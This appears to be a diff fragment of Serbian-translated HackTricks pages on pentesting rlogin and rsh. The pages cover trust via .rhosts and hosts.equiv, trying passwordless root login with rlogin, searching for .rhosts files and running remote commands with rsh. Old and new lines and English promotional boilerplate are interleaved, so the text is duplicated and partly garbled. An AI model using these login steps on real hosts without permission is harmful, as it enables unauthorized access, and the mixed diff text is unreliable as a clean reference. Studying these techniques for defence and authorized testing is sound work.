U prošlosti je **rlogin** široko korišćen za zadatke daljinske administracije. Međutim, zbog zabrinutosti u vezi sa njegovom bezbednošću, uglavnom je zamenjen sa **slogin** i **ssh**. Ove novije metode pružaju poboljšanu bezbednost za daljinske veze.
**Podrazumevani port:** 513
```
PORT STATE SERVICE
513/tcp open login
```
## **Prijavljivanje**
## **Prijava**
```bash
# Install client
apt-get install rsh-client
```
Možete koristiti sledeću komandu da biste pokušali da se **prijavite** na udaljeni host gde **nije potrebna lozinka** za pristup. Pokušajte koristi **root** kao korisničko ime:
Možete koristiti sledeću komandu da pokušate da **login** na udaljeni host gde **nije potrebna lozinka** za pristup. Pokušajte da koristite **root** kao korisničko ime:
```bash
rlogin <IP> -l <username>
```
@ -48,16 +49,17 @@ find / -name .rhosts
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# 514 - Pentesting Rsh
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Osnovne informacije
Za autentifikaciju, **.rhosts** fajlovi zajedno sa **/etc/hosts.equiv** su korišćeni od strane **Rsh**-a. Autentifikacija je zavisila od IP adresa i sistema za imenovanje domena (DNS). Lakoća falsifikovanja IP adresa, posebno u lokalnoj mreži, predstavljala je značajnu ranjivost.
Za autentifikaciju, **.rhosts** datoteke zajedno sa **/etc/hosts.equiv** su korišćene od strane **Rsh**. Autentifikacija je zavisila od IP adresa i Sistema domena (DNS). Laka mogućnost lažiranja IP adresa, posebno na lokalnoj mreži, bila je značajna ranjivost.
Osim toga, bilo je uobičajeno da se **.rhosts** fajlovi smeštaju unutar home direktorijuma korisnika, koji su često bili smešteni na Network File System (NFS) volumenima.
Pored toga, bilo je uobičajeno da se **.rhosts** datoteke nalaze unutar kućnih direktorijuma korisnika, koji su često bili smešteni na volumima mrežnog fajl sistema (NFS).
**Podrazumevani port**: 514
@ -31,19 +32,20 @@ rsh domain\\user@<IP> <Command>
```
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsh)
## Reference
## References
* [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}